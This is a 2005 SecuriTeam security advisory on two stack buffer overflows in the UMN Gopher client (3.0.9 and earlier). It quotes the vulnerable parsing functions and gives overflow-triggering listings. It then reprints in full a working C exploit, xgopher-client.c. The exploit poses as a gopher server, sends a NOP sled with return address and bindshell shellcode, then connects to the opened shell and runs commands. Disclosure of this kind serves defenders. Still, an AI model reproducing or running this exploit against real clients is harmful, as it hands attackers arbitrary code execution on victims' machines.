[UNIX] UMN Gopher Client Buffer Overflows (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/29/05

  • Next message: SecuriTeam: "[EXPL] MCCS Server and Client Command DoS (Exploit)"
    To: list@securiteam.com
    Date: 29 Sep 2005 15:28:39 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      UMN Gopher Client Buffer Overflows (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    The Internet Gopher Client is "based on the UMN Gopher/Gopherd 2.3.1 code.
    Gopher is an Internet technology that predates the Web. It presents
    information as a virtual network-wide filesystem. Modern browsers such as
    Konqueror can display gopherspace as if it contained files on your local
    machine (trees, drag and drop, etc.), but the difference is that each file
    or folder in that tree may be on a different machine".

    The Gopher client contains two remotely exploitable buffer overflows.
    Exploiting these overflows allows attackers to execute malicious code on
    the system running vulnerable gopher client.

    DETAILS

    Vulnerable Systems:
     * UMN gopher versions 3.0.9 and prior.

    First buffer overflow is in the processing of "+VIEWS:" information,
    located in SRC/object/VIews.c in the VIfromLine() function.

    Vulnerable Code:
    -------------------------------------------
    boolean
    VIfromLine(VIewobj *vi, char *line)
    {
         char tmpstr[256], *cp;
         int i;

         /* Okay, read until the next space, put the result in tmpstr */
         for (cp = line,i=0; (*cp != ' '&&*cp!='\0'&&*cp!=':'); cp++,i++)
              tmpstr[i] = *cp;

         tmpstr[i]='\0';
         line = cp+1;
         VIsetType(vi, tmpstr);

         if (*line == '\0')
              return(FALSE);

         /* Parse language */
         if (*line != ':') {
              for (cp = line,i=0; (*cp != ' '&&*cp!='\0'&& *cp!=':');
    cp++,i++)
                   tmpstr[i] = *cp;
              tmpstr[i]='\0';
              line = cp+1;
              VIsetLang(vi, tmpstr);
         }

         if (*line == '\0')
              return(FALSE);

         /* Okay, parse off the size (if present) */
         cp = strchr(line,'<');

         if (cp != NULL) {
              for (cp++,i=0; (*cp!='\0'&& *cp!='>'); cp++,i++)
                   tmpstr[i] = *cp;
              tmpstr[i]='\0';
              line = cp+1;
              VIsetSize(vi, tmpstr);
         }

         if (*line != '\0')
              VIsetComments(vi, line);

         return(TRUE);
    }
    -------------------------------------------

    This can be exploited immediately upon the client's connection to an
    untrusted server. The overflow itself occurs when an unbounded loop writes
    past the end of the tmpstr[256] buffer, making this a stack overflow.
    however, do to a null-byte that gets appended during the overflow you must
    replace the "VIewobj *vi" value with what it was meant to be-this makes
    exploitation more involved and specific to each system.

    An example listing that will cause the overflow is as follows. ( = replace
    with real values)
    -------------------------------------------
    +-1<N>
    +INFO: 0filler<TAB>filler<TAB>filler<TAB>filler<N>
    +VIEWS:<TAB><N><SPACE>
    <SPACE><256+ bytes of data/overflow><N>
    -------------------------------------------

    Second buffer overflow is in the processing of arguments when executing
    third party programs. This can be abused best by forging a web link which
    launches a third party web browser. Other methods also work, they are just
    more obvious.

    The vulnerable code is located in SRC/object/fileio.c in the FIOgetargv()
    function.

    Vulnerable Code:
    -------------------------------------------
    static char *
    FIOgetargv(char *cmd)
    {
         int inquote = 0;
         int insquote = 0;
         int i;
         static char *argv[128]; /* Sufficient for now.. */
         int argc = 0;
         char buf[256];
         char *cp = buf;

         if (cmd == NULL)
              return(NULL);

         for (i=0; cmd[i] != '\0'; i++) {

              switch (cmd[i]) {

              case ' ': case '\t':
                   /* Separators */
                   if (insquote || inquote) {
                        *cp = cmd[i]; cp++;
                        break;
                   } else {
                        *cp = '\0';
                        argv[argc++] = strdup(buf);
                        cp = buf;

                        /* Get rid of any other whitespace */
                        while (cmd[i+1] == ' ' || cmd[i+1] == '\t')
                             i++;
                   }
                   break;

              case '"':
                   if (!insquote)
                        inquote = 1-inquote;
                   break;

              case '\'':
                   if (!inquote)
                        insquote = 1-insquote;
                   break;

              case '\\':
                   /* Quote next character if not in quotes */
                   if (insquote || inquote) {
                        *cp = cmd[i]; cp++;
                   } else {
                        *cp = cmd[i+1]; cp++; i++;
                   }

                   break;

              default:
                   *cp = cmd[i]; cp++;
                   break;
              }
         }
         if (buf != cp) {
              *cp = '\0';
              argv[argc++] = strdup(buf);
         }
         argv[argc] = NULL;

         return(argv);
    }
    -------------------------------------------

    This can be exploited via a malicious string/link placed on an untrusted
    server. The overflow itself occurs when an unbounded loop writes past the
    end of the buf[256], or
    lack of element checking with the *argv[128] array-depending on the method
    used. The vulnerability is a standard stack overflow, however many
    (non-alnum) characters get changed/truncated during this process making
    exploitation more involved.

    An example listing that will cause the overflow is as follows. ( = replace
    with real values)
    -------------------------------------------
    +-1<N>
    +INFO: hWeblink<TAB>filler<TAB><256+ bytes of
    data/overflow><TAB>filler<TAB>filler<N>
    +VIEWS:<N>
    -------------------------------------------

    (It should be noted that the "legacy" University of Minnesota
    versions(v2.x.x) also have the same code present)

    Successful exploitation of these vulnerabilities will result in the
    ability of untrusted gopher servers to execute arbitrary code as the user
    running the gopher client.

    Exploit: ( <http://fakehalo.us/xgopher-client.c>
    http://fakehalo.us/xgopher-client.c)

    /*[ gopher[v3.0.9+]: remote (client) buffer overflow exploit. ]*
     * *
     * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
     * *
     * compile: *
     * gcc xgopher-client.c -o xgopher-client *
     * *
     * syntax: *
     * ./xgopher-client <port> [bindshell port] *
     * *
     * The Internet Gopher Client is based on the UMN *
     * Gopher/Gopherd 2.3.1 code. Gopher is an Internet technology *
     * that predates the Web. It presents information as a virtual *
     * network-wide filesystem. Modern browsers such as Konqueror *
     * can display gopherspace as if it contained files on your *
     * local machine (trees, drag and drop, etc.), but the *
     * difference is that each file or folder in that tree may be *
     * on a different machine. *
     * *
     * this client contains a remotely exploitable buffer overflow *
     * in the processing of "+VIEWS:" information, located in *
     * SRC/object/VIews.c in the VIfromLine() function. *
     * *
     * this is a stack overflow that can be exploited immediately *
     * upon the client's connection to an untrusted gopher server. *
     * while this is a stack overflow, exploitation of this *
     * overflow is not completely standard, and special values *
     * will be needed for it to work. (see the first three DEFINEs *
     * below) *
     * *
     * i made this simply to be sure it was possible to exploit, *
     * tested successfully on mandrake/9.2 with gopher/3.0.9 *
     * compiled from source. *
     ********************************/
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <strings.h>
    #include <signal.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>

    /* THE FOLLOWING THREE DEFINES WILL BE UNIQUE TO EACH SYSTEM. */

    /* this needs to be replaced as a null-byte will overwrite it. this */
    /* can be found in gdb using a trial-run of the exploit. */
    /* (gdb) break VIfromLine */
    /* Breakpoint 1 at 0x805c2e5: file VIews.c, line 231. */
    /* (gdb) run server-running-this-exploit.com 70 */
    /* ... */
    /* Breakpoint 1, VIfromLine (vi=0x8074f08, ... */
    /* ---------------^^^^^^^^^ */
    /* ... */
    #define REPLACE_VI_ADDR 0x08074f08

    /* where the shellcode is located. you can use a trial-run to get */
    /* this as well, run "objdump -s <core> | grep 90909090" on the */
    /* core file, and choose something in the middle of all the */
    /* 0xbfff???? addresses dumped. */
    #define RET_ADDR 0xbfffe910

    /* guess time; try between 0-12, not likely to be anything */
    /* higher than that. */
    #define PLACEMENT_OFFSET 7

    /* FROM HERE ON THE DEFINES DO NOT NEED TO BE MODIFIED. */
    #define BUFSIZE 500
    #define DFL_BINDSHELL_PORT 7979
    #define TIMEOUT 10

    static char x86_exec[]= /* bindshell, from netric. */
     "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
     "\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89"
     "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
     "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
     "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
     "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
     "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
     "\x80";

    /* prototypes. */
    unsigned char *getcode(void);
    char *gopherd_bind(unsigned short);
    void getshell(char *,unsigned short);
    void printe(char *,short);
    void sig_alarm(){printe("alarm/timeout hit.",1);}

    /* begin. */
    int main(int argc,char *argv){
     unsigned short port=0,sport=DFL_BINDSHELL_PORT;
     char *hostptr;
     printf("[*] gopher[v3.0.9+]: remote (client) buffer overflow exp"
     "loit.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
     if(argc<2){
      printf("[!] syntax: %s <port> [bindshell port]\n",argv[0]);
      exit(1);
     }
     port=atoi(argv[1]);
     if(argc>2)sport=atoi(argv[2]);

     /* set the port to bind to in the shellcode. */
     x86_exec[20]=(sport&0xff00)>>8;
     x86_exec[21]=(sport&0x00ff);

     /* verbose values display. */
     printf("[*] replacement \"vi\" address\t\t: 0x%.8x\n",REPLACE_VI_ADDR);
     printf("[*] return address\t\t\t: 0x%.8x\n",RET_ADDR);
     printf("[*] offset from the end of tmpstr[]\t: %d (=%d)\n",
     PLACEMENT_OFFSET,PLACEMENT_OFFSET*4);
     printf("[*] server port\t\t\t\t: %u\n",port);
     printf("[*] bindshell port\t\t\t: %u\n\n",sport);

     /* wait for a connection and send overflow. */
     hostptr=gopherd_bind(port);

     /* be safe, and give it time to run. */
     sleep(3);

     /* see if a shell spawned. */
     getshell(hostptr,sport);

     exit(0);
    }
    /* this is what fills the buffer that will be overflown. (tmpstr[256]) */
    unsigned char *getcode(void){
     unsigned char *buf;
     if(!(buf=(unsigned char *)malloc(BUFSIZE+1)))
      printe("getcode(): allocating memory failed.",1);

     /* make everything nops, and overwrite where needed. */
     memset(buf,0x90,BUFSIZE);

     /* this gives more NOP/guessing room. if it hits before the addresses, */
     /* it will jump over them to get to the shellcode. (jumps 8 bytes) */
     buf[254+(PLACEMENT_OFFSET*4)]=0xeb; /* jump, */
     buf[255+(PLACEMENT_OFFSET*4)]=0x08; /* 8. */

     /* return address. */
     *(long *)&buf[256+(PLACEMENT_OFFSET*4)]=RET_ADDR;

     /* the replacement value will be right after the new return address. */
     /* (this is needed because a null-byte will corrupt it, and fault */
     /* where not desired) */
     *(long *)&buf[260+(PLACEMENT_OFFSET*4)]=REPLACE_VI_ADDR;

     /* add shellcode to the end of the buffer. */
     memcpy(buf+BUFSIZE-strlen(x86_exec),x86_exec,strlen(x86_exec));
     return(buf);
    }
    char *gopherd_bind(unsigned short port){
     int ssock=0,sock=0,so=1;
     unsigned int salen=0;
     char pseudobuf[2];
     struct sockaddr_in ssa,sa;
     ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
    #ifdef SO_REUSEPORT
     setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
    #endif
     ssa.sin_family=AF_INET;
     ssa.sin_port=htons(port);
     ssa.sin_addr.s_addr=INADDR_ANY;
     printf("[*] awaiting connection from: *:%d.\n",port);
     if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
      printe("could not bind socket.",1);
     listen(ssock,1);
     bzero((char*)&sa,sizeof(struct sockaddr_in));
     salen=sizeof(sa);
     sock=accept(ssock,(struct sockaddr *)&sa,&salen);
     close(ssock);
     printf("[*] gopher server connection established.\n");

     /* not really needed, but i feel better with it waiting for it. */
     printf("[*] waiting for <any> request/data...\n");
     read(sock,pseudobuf,1);
     printf("[*] received request/data, sending overflow.\n");

     /* setup the precursor to cause the overflow. */
     write(sock,"+-1\n",4);
     write(sock,"+INFO:\t0filler\tfiller\tfiller\tfiller\n",36);
     write(sock,"+VIEWS:\t\n ",10);

     /* the overflow. */
     write(sock,getcode(),BUFSIZE);
     write(sock,"\n",1);

     sleep(1);
     close(sock);
     printf("[*] gopher server connection closed.\n");
     return(inet_ntoa(sa.sin_addr));
    }
    void getshell(char *hostname,unsigned short port){
     int sock,r;
     fd_set fds;
     char buf[4096+1];
     struct hostent *he;
     struct sockaddr_in sa;
     printf("[*] checking to see if the exploit was successful.\n");
     if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
      printe("getshell(): socket() failed.",1);
     sa.sin_family=AF_INET;
     if((sa.sin_addr.s_addr=inet_addr(hostname))){
      if(!(he=gethostbyname(hostname)))
       printe("getshell(): couldn't resolve.",1);
      memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
      sizeof(sa.sin_addr));
     }
     sa.sin_port=htons(port);
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     printf("[*] attempting to connect: %s:%d.\n",hostname,port);
     if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
      printf("[!] connection failed: %s:%d.\n",hostname,port);
      return;
     }
     alarm(0);
     printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
     signal(SIGINT,SIG_IGN);
     write(sock,"uname -a;id\n",13);
     while(1){
      FD_ZERO(&fds);
      FD_SET(0,&fds);
      FD_SET(sock,&fds);
      if(select(sock+1,&fds,0,0,0)<1)
       printe("getshell(): select() failed.",1);
      if(FD_ISSET(0,&fds)){
       if((r=read(0,buf,4096))<1)
        printe("getshell(): read() failed.",1);
       if(write(sock,buf,r)!=r)
        printe("getshell(): write() failed.",1);
      }
      if(FD_ISSET(sock,&fds)){
       if((r=read(sock,buf,4096))<1)
        exit(0);
       write(1,buf,r);
      }
     }
     close(sock);
     return;
    }
    void printe(char *err,short e){
     printf("[!] %s\n",err);
     if(e)
      exit(1);
     return;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:v9@fakehalo.us> v9.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] MCCS Server and Client Command DoS (Exploit)"

    Relevant Pages

    • UMN gopher[v3.0.9+] multiple(2) client buffer overflows.
      ... The Internet Gopher Client is based on the UMN Gopher/Gopherd 2.3.1 code. ... VIfromLine(VIewobj *vi, char *line) ... making this a stack overflow. ... changed/truncated during this process making exploitation more involved. ...
      (Bugtraq)
    • [NT] HP Radia Notify Daemon Multiple Buffer Overflows
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... RADEXECD process with parameters of a greater length than the buffer used ... structures, executes the target process, and waits for it to terminate. ... text:0040619E call _strcpy; overflow here ...
      (Securiteam)
    • [NT] Winamp ID3v2 Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Winamp is vulnerable to a buffer overflow vulnerability when processing ... control the EAX register, ...
      (Securiteam)
    • [UNIX] BNC IRC Proxy Server Remote Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... server under the GPL. ... bouncing off the computer which is running BNC. ... A buffer overflow vulnerability exhibit itself under certain conditions ...
      (Securiteam)
    • [UNIX] GTK+ XPM Decoder Parsing Overflows
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Offering a complete set of widgets, GTK+ is ... stack-based overflow condition. ... An example proof of concept XPM image can be downloaded from ...
      (Securiteam)